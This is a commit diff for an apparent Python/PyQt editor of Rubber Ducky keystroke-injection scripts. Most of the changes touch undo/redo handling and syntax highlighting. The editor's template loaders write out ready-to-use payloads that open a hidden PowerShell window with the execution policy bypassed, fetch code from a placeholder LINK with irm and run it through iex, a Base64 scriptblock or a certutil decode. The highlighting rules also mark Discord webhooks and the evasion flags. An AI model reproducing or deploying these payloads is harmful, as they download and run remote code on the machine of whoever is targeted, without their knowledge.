@@ -276,36 +276,35 @@ def loadUserTemplate(self, template_name):
276
276
def undoAction (self ):
277
277
if not self .history :
278
278
return
279
- self .redo_stack .append (self .text_edit .toPlainText ())
280
- prev_state = self .history .pop ()
281
279
282
- cursor = self .text_edit .textCursor ( )
283
- current_position = cursor . position ()
280
+ self .redo_stack . append (( self . text_edit .toHtml ()) )
281
+ prev_state = self . history . pop ()
284
282
285
283
self .text_edit .textChanged .disconnect (self .colorizeText )
286
- self .setColoredText (prev_state )
284
+ self .text_edit . setHtml (prev_state )
287
285
self .text_edit .textChanged .connect (self .colorizeText )
288
286
289
- cursor .setPosition (min (current_position , len (prev_state )))
287
+ cursor = self .text_edit .textCursor ()
288
+ current_position = min (cursor .position (), len (prev_state ))
289
+ cursor .setPosition (current_position )
290
290
self .text_edit .setTextCursor (cursor )
291
291
292
292
def redoAction (self ):
293
293
if not self .redo_stack :
294
294
return
295
- self .history .append (self .text_edit .toPlainText ())
296
- next_state = self .redo_stack .pop ()
297
295
298
- cursor = self .text_edit .textCursor ( )
299
- current_position = cursor . position ()
296
+ self .history . append (( self . text_edit .toHtml ()) )
297
+ next_state = self . redo_stack . pop ()
300
298
301
299
self .text_edit .textChanged .disconnect (self .colorizeText )
302
- self .setColoredText (next_state )
300
+ self .text_edit . setHtml (next_state )
303
301
self .text_edit .textChanged .connect (self .colorizeText )
304
302
305
- cursor .setPosition (min (current_position , len (next_state )))
303
+ cursor = self .text_edit .textCursor ()
304
+ current_position = min (cursor .position (), len (next_state ))
305
+ cursor .setPosition (current_position )
306
306
self .text_edit .setTextCursor (cursor )
307
307
308
-
309
308
def loadFreshCode (self ):
310
309
self .text_edit .clear ()
311
310
self .text_edit .insertPlainText ("\n \n " )
@@ -327,7 +326,7 @@ def executeScript(self):
327
326
error_dialog .exec_ ()
328
327
return
329
328
330
- key_map = { #doesnt include all ducky commands yet. theres a way easier way to do this. but that means i have to restart lol.
329
+ key_map = { #doesnt include all ducky commands yet
331
330
"GUI r" : ("hotkey" , ('win' , 'r' )),
332
331
"GUI R" : ("hotkey" , ('win' , 'r' )),
333
332
"GUI d" : ("hotkey" , ('win' , 'd' )),
@@ -469,7 +468,7 @@ def openGithub(self):
469
468
def colorizeText (self ):
470
469
self .text_edit .textChanged .disconnect (self .colorizeText )
471
470
472
- self .history .append (self .text_edit .toPlainText ( ))
471
+ self .history .append (( self .text_edit .toHtml () ))
473
472
self .redo_stack .clear ()
474
473
self .text_edit .cursorPositionChanged ()
475
474
@@ -513,7 +512,9 @@ def colorizeText(self):
513
512
"powershell" , "Powershell"
514
513
]
515
514
outofnameslol = [
516
- "bypass" , "hidden" , "H" , "Bypass" , "Hidden" , "h"
515
+ "NoP" , "nop" , "ep" , "bypass" , "noprofile" , "hidden" , "windowstyle" , "executionpolicy" , "W" , "H" , "Ep" ,
516
+ "Bypass" , "NoProfile" , "WindowStyle" , "Hidden" , "w" , "h" ,
517
+ "ExecutionPolicy"
517
518
]
518
519
519
520
color_mapping = {
@@ -604,42 +605,6 @@ def openFile(self):
604
605
self .text_edit .setPlainText (file .read ())
605
606
self .current_file = file_name
606
607
607
- def setColoredText (self , text ):
608
- self .text_edit .clear ()
609
- cursor , format = self .text_edit .textCursor (), QTextCharFormat ()
610
- color_mapping = {
611
- ("DELAY" , "GUI" , "STRING" , "ENTER" , "TAB" , ";" , "|" , "ESC" , "ALT" , "CTRL" , "UPARROW" , "SHIFT" , "DOWNARROW" ,
612
- "LEFTARROW" , "RIGHTARROW" , "HOME" , "END" , "INSERT" , "DELETE" , "PAGEUP" , "PAGEDOWN" , "CAPSLOCK" , "NUMLOCK" ,
613
- "SCROLLLOCK" , "SPACE" , "F1" , "F2" , "F3" , "F4" , "F5" , "F6" , "F7" , "F8" , "F9" , "F10" , "F11" , "F12" ,
614
- "PRINTSCREEN" , "WINDOWS" , "STRINGLN" , "CONTROL" , "ESCAPE" , "UP" , "DOWN" , "RIGHT" , "LEFT" ): "orange" ,
615
- ("irm" , "iex" , "iwr" , "curl" , "certutil" , "icm" ): "#00ccff" ,
616
- ("LINK" , "FUNCTION" , "WEBHOOK" , "DISCORD" , "discord" , "Discord" , "Webhook" , "webhook" , "link" ,
617
- "Link" , "url" , "URL" , "TARGET" , "Target" , "target" ): "#F44444" ,
618
- ("bypass" , "hidden" , "H" , "Bypass" , "Hidden" , "h" ): "#ff80ff" ,
619
- ("powershell" , "Powershell" ): "#8A46A6" ,
620
- ("REM" ): "gray" ,
621
- "default" : "white"
622
- }
623
-
624
- for line in text .split ('\n ' ):
625
- gray_mode = False
626
- for word in re .split (r'(\W+)' , line ):
627
- if word == "REM" :
628
- gray_mode = True
629
- format .setForeground (QColor ("gray" ))
630
- elif gray_mode :
631
- format .setForeground (QColor ("gray" ))
632
- else :
633
- for words , color in color_mapping .items ():
634
- if word in words :
635
- format .setForeground (QColor (color ))
636
- break
637
- else :
638
- format .setForeground (QColor (color_mapping ["default" ]))
639
- cursor .setCharFormat (format )
640
- cursor .insertText (word )
641
- cursor .insertText ('\n ' )
642
-
643
608
def save (self ):
644
609
if self .current_file :
645
610
with open (self .current_file , 'w' ) as file :
@@ -664,7 +629,8 @@ def loadMemoryExecutionCode(self):
664
629
STRING powershell -NoP -W H -Ep Bypass &([scriptblock]::Create([Text.Encoding]::UTF8.GetString([Convert]::FromBase64String((irm LINK)))))
665
630
DELAY 500
666
631
ENTER"""
667
- self .setColoredText (memory_execution_code )
632
+ self .text_edit .setPlainText (memory_execution_code )
633
+ self .colorizeText ()
668
634
669
635
def loadBasicCode (self ):
670
636
basic_code = """DELAY 2000
@@ -673,7 +639,8 @@ def loadBasicCode(self):
673
639
STRING powershell -NoP -W H -Ep Bypass irm LINK|iex;FUNCTION
674
640
DELAY 500
675
641
ENTER"""
676
- self .setColoredText (basic_code )
642
+ self .text_edit .setPlainText (basic_code )
643
+ self .colorizeText ()
677
644
678
645
def loadBase64Code (self ):
679
646
base64_code = """REM The script must interface with a Base64-encoded LINK for proper functionality.
@@ -683,7 +650,8 @@ def loadBase64Code(self):
683
650
STRING powershell -NoP -W H -Ep Bypass irm LINK -O $env:USERPROFILE\e.txt;certutil -f -decode $env:USERPROFILE\e.txt $env:USERPROFILE\d.ps1;iex $env:USERPROFILE\d.ps1
684
651
DELAY 500
685
652
ENTER"""
686
- self .setColoredText (base64_code )
653
+ self .text_edit .setPlainText (base64_code )
654
+ self .colorizeText ()
687
655
688
656
def main ():
689
657
app = QApplication (sys .argv )
0 commit comments